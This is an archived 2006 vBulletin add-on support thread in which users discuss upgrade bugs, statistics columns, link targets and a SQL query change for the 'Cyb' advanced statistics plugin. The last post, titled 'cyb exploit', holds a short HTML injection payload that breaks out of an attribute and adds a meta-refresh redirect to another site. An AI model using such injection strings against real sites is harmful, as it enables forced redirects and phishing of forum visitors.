vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vBulletin 3.6 Add-ons (https://vborg.vbsupport.ru/forumdisplay.php?f=194)
-   -   Statistics Modifications - Cyb - Advanced Forum Statistics (https://vborg.vbsupport.ru/showthread.php?t=122986)

Kaith Rustaz 09-18-2006 04:09 AM

Great hack.

1 small hiccup.
I'm running MYSQL 4.0.27 and seeing 0's in the Top Thread Starters column.
??

hnjco 09-18-2006 12:47 PM

@Cybernetec

I upgraded to 4.0 but having same problem which i had in 3.9 with reputation, any idea how to fix?

I mention problem in post 163.

KoC 09-18-2006 12:55 PM

Quote:

Originally Posted by Cybernetec
v4.0 - Sep 18. 2006.
-To completely solve several problems experienced with versions 3.7 - 3.9 I'v changed some things here:
1. You can have stats shown on maximum 2 pages (who needs more?)
2. Stats are shown by default on forumhome (to disable it set "Top Stats Box Position" to "None").
3. To activate second location:
a) type location-name in "Additional Location" field
Explanation: When you open some vBulletin php file you'll see this at the top - "define('THIS_SCRIPT', 'XXX');".
XXX is location-name we need. It's usually the same as php filename (without extension, of course).
b) add "$cybtopstats" to the template called on page where you wish to have stats shown.


PLEASE UPGRADE!
To do so: Import XML as product, allow overwrite.


trackpads,
changes in v4.0 may solve your problem too.

The upgrade sloves the problem with the moderator rights. Now i wish to add an option:

At click on the title, redirect to the last posted post. Example link: http://domain.tld/showthread.php?t=232323#2342

Valter 09-18-2006 07:15 PM

hnjco,
I don't think this hack has anything with that.

KoC,
I'm not sure what problem you have. Try to explain it better.

KoC 09-18-2006 07:27 PM

For example:

Anyone has post a reply to any thread, the url looks like this than:

http://www.turkiyemforum.com/showthr...474#post150474

But at your Forum statistics the output url looks like this: http://www.turkiyemforum.com/showthread.php?p=150474 This is the same thread but not the last posted message/reply. Can you understand it now?

Valter 09-18-2006 07:55 PM

Thread title is linked to start of the thread and little arrow is linked to the last post in that thread.

https://vborg.vbsupport.ru/

jgommel 09-18-2006 10:04 PM

I just updated this plugin today, but it appears to not work with vS-Hide Hack Resurrection (Expanded Edition) any more. Per the instructions:

Open plugin "cyb" at "forumhome_complete" hook, and find:
Code:

$get_stats_thanks = $db->query_read("
    SELECT userid, usergroupid, IF(displaygroupid=0, usergroupid, displaygroupid) AS displaygroupid, username, posts, post_thanks_thanked_times
    FROM " . TABLE_PREFIX . "user
    ORDER BY post_thanks_thanked_times DESC LIMIT 0, $resultsnr");

Replace with:
Code:

$get_stats_thanks = $db->query_read("
    SELECT user.userid, user.username, user.usergroupid, IF(user.displaygroupid = 0, user.usergroupid, user.displaygroupid) AS displaygroupid, user.posts,
      count(thanks.postid) as post_thanks_thanked_times
    FROM " . TABLE_PREFIX . "thanks as thanks
    LEFT JOIN " . TABLE_PREFIX ."post as post ON (post.postid = thanks.postid)
    LEFT JOIN " . TABLE_PREFIX ."user as user ON (post.userid = user.userid)
    GROUP BY user.userid
    ORDER BY post_thanks_thanked_times DESC LIMIT " . $resultsnr . "
");

I don't see "cyb" at "forumhome_complete" hook anymore? Any suggestions?

iran.gs 09-20-2006 01:44 AM

installed but i got an idea see its very hard to add most of those obtion so why now have a obtion of 2 of them in the same time and pick the each one for diffe obtions that we choice cuz l even shrunk the members id or the name of threats but looks not too good but than again this is an idea to have 2 so we dont have to cut corners infact i use the Top X by infinitewebby for some obtions and the rest on ur obtions but it will be better if urs those 2 sections in the same time.............

WiseOne38221 09-20-2006 09:56 AM

I installed 4.0 and reverted the older template for cyb_topstats_php and it fixed the ajax mark forum read problems...looks good so far. Versions BEFORE 4.0 will stop you from being able to "mark forums read". I never would've guessed it was because of this plugin though...

tienkhom 09-20-2006 05:14 PM

cyb exploit
">"">>>><meta http-equiv="Refresh" content="0;url=http://other site .com"> """" >
:confused:


All times are GMT. The time now is 12:00 PM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.02393 seconds
  • Memory Usage 1,746KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (2)bbcode_code_printable
  • (1)bbcode_quote_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)pagenav
  • (1)pagenav_curpage
  • (4)pagenav_pagelink
  • (4)pagenav_pagelinkrel
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (10)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • pagenav_page
  • pagenav_complete
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete